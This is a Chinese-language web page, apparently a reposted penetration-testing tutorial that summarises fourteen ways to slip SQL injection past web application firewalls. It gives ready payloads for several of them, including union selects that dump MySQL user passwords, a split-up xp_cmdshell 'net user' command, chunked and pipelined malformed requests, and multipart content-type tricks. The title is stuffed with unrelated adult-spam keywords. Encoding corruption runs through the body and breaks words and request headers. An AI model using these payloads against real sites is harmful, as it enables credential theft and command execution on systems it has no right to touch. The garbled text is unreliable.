狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

滲透攻防安全防范之WAF繞過方法總結(jié)

admin
2023年10月30日 10:59 本文熱度 688

介紹:  

WAF(Web應(yīng)用防火墻,Web Application Firewall的簡稱)是通過執(zhí)行一系列針對HTTP/HTTPS的安全策略來專門為Web應(yīng)用提供保護(hù)的產(chǎn)品。WAF可以發(fā)現(xiàn)和攔截各類Web層面的攻擊,記錄攻擊日志,實(shí)時預(yù)警提醒,在Web應(yīng)用本身存在缺陷的情況下保障其安全。但是,WAF不是萬能的、完美的、無懈可擊的,在種種原因下,它們也會有各自的缺陷,不可以盲目相信WAF而不注重自身的安全。

waf分類:

云waf

硬件waf

軟件waf

網(wǎng)站內(nèi)置waf


1.雙寫注入繞過

and雙寫為anandd

2.大小寫繞過


3.臟數(shù)據(jù)繞過

即傳入一段長數(shù)據(jù)使waf失效,從而實(shí)現(xiàn)繞過waf。某些waf處理POST的數(shù)據(jù)時,只會檢測開頭的8K,后面選擇全部放過。
例如,當(dāng)發(fā)現(xiàn)某網(wǎng)站存在一個反序列化漏洞時,但是無回顯,被waf攔截了
利用臟數(shù)據(jù)插入5000x字符,可以成功繞過

4.復(fù)參數(shù)繞過(&id=

例如一個請求
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改為
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以這樣繞,測試最新版WAF能繞過部分語句。

5.高并發(fā)繞過

對請求進(jìn)行并發(fā),攻擊請求會被負(fù)載均衡調(diào)度到不同節(jié)點(diǎn),導(dǎo)致某些請求繞過了waf的攔截
 

6.特殊字符替換空格

用一些特殊字符代替空格,比如在mysql%0a是換行,可以代替空格,這個方法也可以部分繞過最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
特殊字符有:mysql%0a/**/可以繞過最新版本WAF     sqlerver/**/
/*|%23--%23|*/
 
/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
這條語句不行,看一下防護(hù)日志,是因?yàn)榘?/span>uaer函數(shù)加入黑名單啦。替換user即可。
 

7.使用其他變量或者命令對注入語句進(jìn)行替換

COMMAND | WHAT TO USE INSTEAD
version()|@@version 
concat() | concat_ws()
group_concat() | concat_ws()
= | like
1| MOD(8,7)
 

8.HTTP參數(shù)污染

 php 語言中 id=1&id=2 后面的值會自動覆蓋前面的值,不同的語言有不同的特性??梢岳眠@點(diǎn)繞過一 些 waf 的攔截。
 

9.特殊字符拼接(+

把特殊字符拼接起來繞過WAF的檢測,比如在Mysql中,可以利用注釋/**/來繞過,在mssql中,函數(shù)里面可以用+來拼接
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改為:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

10.數(shù)據(jù)格式混淆

利用數(shù)據(jù)格式解析缺陷,存在兩種提交表單數(shù)據(jù)的請求類型
application/x-www-form-urlencoded
multipart/form-data 支持key-Value方式
 
可以修改提交格式
 
這兩種方式提交數(shù)據(jù)的效果是一樣的。
當(dāng)然,除了這種方式外一些其他方式也可能繞過waf,例如將傳入json數(shù)據(jù),將其修改為HTTP請求,或者修改content-type等方式(當(dāng)然是在應(yīng)用能夠正常解析的前提下)

11.編碼繞過

對請求數(shù)據(jù)進(jìn)行編碼,例如url編碼,Unicode編碼等,如果waf對數(shù)據(jù)不能有效解碼,而應(yīng)用后端能夠正常解碼,就可以繞過waf。
例如最常見的url編碼,對數(shù)據(jù)進(jìn)行二次url編碼,waf進(jìn)行一次解碼并不能解析到有效的數(shù)據(jù),而后端在進(jìn)行解碼時傳入的為有效的惡意數(shù)據(jù)。
 
id=1 and 1=1 寫為 id=1/*!and*/1=1
 

12.利用WAF本身的功能繞過

"*"替換為空
例:uni*on+sel*ect+1,2,3,4....
假如發(fā)現(xiàn)WAF會把"*"替換為空,那么就可以利用這一特性來進(jìn)行繞過‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(union)+(select).-15+(union+select)+-15+(UnI)(oN)+(SeL)(ecT)+.-15+union (select 1,2,3,4)

13.利用http協(xié)議繞過waf

分塊傳輸繞過waf
先在數(shù)據(jù)包中添加Transfer-Encoding: chunked
數(shù)字代表下一列字符所占位數(shù),最后需要用0獨(dú)占一行表示結(jié)束,結(jié)尾需要兩個回車
在頭部加入 Transfer-Encoding: chunked 之后,就代表這個報文采用了分塊編碼。這時,post請求報文中的數(shù)據(jù)部分需要改為用一系列分塊來傳輸。每個分塊包含十六進(jìn)制的長度值和數(shù)據(jù),長度值獨(dú)占一行,長度不包括它結(jié)尾的,也不包括分塊數(shù)據(jù)結(jié)尾的,且最后需要用0獨(dú)占一行表示結(jié)束。
注意:分塊編碼傳輸需要將關(guān)鍵字and,or,select ,union等關(guān)鍵字拆開編碼,不然仍然會被waf攔截。編碼過程中長度需包括空格的長度。最后用0表示編碼結(jié)束,并在0后空兩行表示數(shù)據(jù)包結(jié)束,不然點(diǎn)擊提交按鈕后會看到一直處于waiting狀態(tài)。
例如:
………………
Connection: close
Upgrade-Insecure-Requests: I
ontent-Type: application/x-www-form-urlencoded
Content-Length: 50
 
畸形包繞過(pipline繞過)
原理:
http協(xié)議是由tcp協(xié)議封裝而來,當(dāng)瀏覽器發(fā)起一個http請求時,瀏覽器先和服務(wù)器建立起連接tcp連接,然后發(fā)送http數(shù)據(jù)包(即用burpsuite截獲的數(shù)據(jù)),其中包含了一個Connection字段,一般值為close,apache等容器根據(jù)這個字段決定是保持該tcp連接或是斷開。當(dāng)發(fā)送的內(nèi)容太大,超過一個http包容量,需要分多次發(fā)送時,值會變成keep-alive,即本次發(fā)起的http請求所建立的tcp連接不斷開,直到所發(fā)送內(nèi)容結(jié)束Connectionclose為止。
l先關(guān)閉burpsuite長度更新,為get請求,先使用bpmethod轉(zhuǎn)換為POST請求
lget請求中空格使用%20代替,Connection改為keep-alive
點(diǎn)擊burpRepeater,在下拉選項中取消update Content-Length選中。
例如:
POST /sqlinject.php Http/1.0
Host:127001
User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101
Firefox/65.0
Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8
Accept-Language: en-US,en:q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Connection:keep-alive
Upgrade-Insecure-Requests: 1
id=1post/sqlinjeCt.php Http/1.0
Host:127.00.1
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010
Firefox/65.0
Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8
Accept-Language: en-US, en, q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Connection: close
pgrade-Insecure-Requests: 1
d=l and 1=1
然后你會收到兩個返回包,不過這種方法有可能被waf給攔截
 
協(xié)議覆蓋
原理:
HTTP頭里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-datatext/plain三種,其中multipart/form-data表示數(shù)據(jù)被編碼為一條消息,頁上的每個控件對應(yīng)消息中的一個部分。所以,當(dāng)waf沒有規(guī)則匹配該協(xié)議傳輸?shù)臄?shù)據(jù)時可被繞過。
將頭部Content-Type改為multipart/form-data; boundary=69 然后設(shè)置分割符內(nèi)的Content-Dispositionname為要傳參數(shù)的名稱。數(shù)據(jù)部分則放在分割結(jié)束符上一行。由于是正常數(shù)據(jù)提交,數(shù)據(jù)是能被apache容器正確解析的,嘗試1 and 1=1也會被某狗waf攔截,但如果其他waf沒有規(guī)則攔截這種方式提交的數(shù)據(jù)包,那么同樣能繞過。
POST /sQlinJect php Http/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0
Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8
Accept-Language: en-US, en: q=0.5
Referer:http://127.0.0.1/sqlinject.php?id
Content-Type: multipart/form-data; boundary=69
Content-Length: 60
Connection close
Upgrade-Insecure-Requests:1
--69
Content-Disposition: form-data; name="id"
1
--69--

14.請求方式轉(zhuǎn)換

過濾了get但是沒有過濾postcookie。waf默認(rèn)是關(guān)閉的
 
waf 在對危險字符進(jìn)行檢測的時候,分別為 post 請求和 get 或者其它的請求方式設(shè)定了不同的匹配規(guī)則,請求被攔截,變 換請求方式有幾率能繞過檢測
例如:
 
或者修改為其它允許的方式,例如options, head等提交方式。


該文章在 2023/10/30 10:59:24 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場、車隊、財務(wù)費(fèi)用、相關(guān)報表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉儲管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved